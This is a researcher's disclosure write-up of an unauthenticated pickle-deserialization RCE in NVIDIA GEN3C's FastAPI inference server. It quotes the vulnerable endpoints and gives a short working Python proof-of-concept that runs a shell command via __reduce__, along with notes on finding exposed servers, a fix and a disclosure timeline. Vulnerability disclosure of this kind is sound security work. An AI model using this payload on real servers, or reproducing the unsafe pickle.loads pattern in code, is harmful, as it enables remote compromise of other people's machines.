NVIDIA GEN3C: Unauthenticated RCE via Pickle Deserialization in Inference API
Table of Contents
Original disclosure: This vulnerability was coordinated and first published by VulnCheck: nvidia-gen3c-unauth-pickle-rce. This post is my technical write-up.
Introduction
Continuing my systematic audit of pickle deserialization in ML/AI projects, I found a straightforward RCE in GEN3C, NVIDIA’s generative 3D creation project with 1,260 stars.
The API server has two FastAPI endpoints that call pickle.loads() on raw HTTP POST bodies. No authentication, no validation, no restricted unpickler. It’s the simplest possible pattern - raw bytes from the network into pickle.loads().
Target: nv-tlabs/GEN3C Stars: 1,260 Severity: Critical (CVSS 3.1: 9.8)
What is GEN3C?
GEN3C is NVIDIA’s research project for 3D-consistent generation and editing of images and videos. It’s a latent diffusion model that can generate and modify 3D content using camera controls. The project includes a GUI with an API backend for running inference requests.
The API server (gui/api/server.py) is a FastAPI application that accepts inference requests over HTTP. The README documents accessing it via SSH tunnel (ssh -L 8000:localhost:8000), confirming it runs on port 8000.
The Vulnerability
Two endpoints in gui/api/server.py take raw request bodies and pass them straight to pickle.loads().
/request-inference at lines 106-107:
@app.post("/request-inference")
async def request_inference(request: Request):
req: bytes = await request.body()
req = pickle.loads(req) # untrusted network input
/seed-model at lines 130-131:
@app.post("/seed-model")
async def seed_model(request: Request):
req: bytes = await request.body()
req = pickle.loads(req) # same pattern
That’s it. No auth middleware, no API keys, no input validation. The FastAPI server uses the default Uvicorn configuration with no TLS.
Proof of Concept
The Exploit
import pickle, os, requests
class RCE:
def __reduce__(self):
return (os.system, ('id > /tmp/gen3c_pwned',))
requests.post('http://target:8000/request-inference',
data=pickle.dumps(RCE()))
Result
$ cat /tmp/gen3c_pwned
uid=1000(chocapikk) gid=1001(chocapikk) groups=1001(chocapikk),...
The server returns HTTP 202 but the command has already executed during deserialization. Both endpoints are exploitable.
Note on GPU Requirement
The pickle.loads() call executes immediately when the HTTP request body is received, before any GPU inference. However, the server requires CUDA to start because it initializes the GEN3C pipeline at startup. A machine with an NVIDIA GPU is needed to reproduce the full attack chain, but the vulnerability is confirmed by code audit - the pattern is unambiguous.
Attack Surface
The README documents using SSH tunnels to access port 8000, which implies the server is typically deployed on remote GPU machines. These are usually shared infrastructure in research labs or cloud environments.
The server is a standard FastAPI/Uvicorn application. It returns the same generic FastAPI 404 on GET /, so it’s not trivially fingerprinted via Shodan. But the /openapi.json endpoint reveals the full API schema including the vulnerable routes.
This is an NVIDIA research project, so it’s likely deployed on DGX stations and cloud GPU instances - high-value targets where compromise gives access to expensive compute.
Suggested Fix
The inference requests carry camera parameters, image paths, and model settings - structured data that JSON handles natively. Replace pickle.loads() with json.loads() and add an API key middleware to the FastAPI app.
Timeline
Date Event
2026-02-10 Vulnerability reported to VulnCheck; CVE requested via the VulnCheck CNA
2026-02-11 VulnCheck initiated coordinated disclosure outreach to the NVIDIA PSIRT (120-day deadline: 2026-06-11)
2026-02-12 NVIDIA PSIRT acknowledged the report
2026-02-13 VulnCheck followed up and notified that the researcher intends to publish a technical report
2026-03-18 VulnCheck requests update
2026-04-23 VulnCheck requests update
2026-04-23 NVIDIA indicated the fix was still in progress
2026-05-12 VulnCheck requests update
2026-06-09 VulnCheck requests final update and indicates intent to disclose on or after 6/11
2026-06-11 VulnCheck submitted a fix upstream (PR #62), replacing pickle with safetensors
2026-06-11 120-day coordinated-disclosure deadline reached, no patch released
2026-06-15 NVIDIA quietly merged its own fix into main (PR #63, commit db2ffe1), leaving VulnCheck's PR #62 open
2026-06-23 VulnCheck publishes the coordinated disclosure
2026-07-06 This technical write-up published
Takeaways
GEN3C is a clean target - no prior CVE, no prior security report, no existing disclosure. The vulnerability is the most basic pickle deserialization pattern possible: HTTP POST body straight into pickle.loads(). No obfuscation, no complexity, just missing the security fundamentals.
What makes this representative is the deployment model. Research teams spin up GPU servers, expose API endpoints over SSH tunnels or VPNs, and assume the network boundary is sufficient protection. But network-level access control is not authentication - if any machine on the network is compromised, every unauthenticated service becomes a lateral movement target.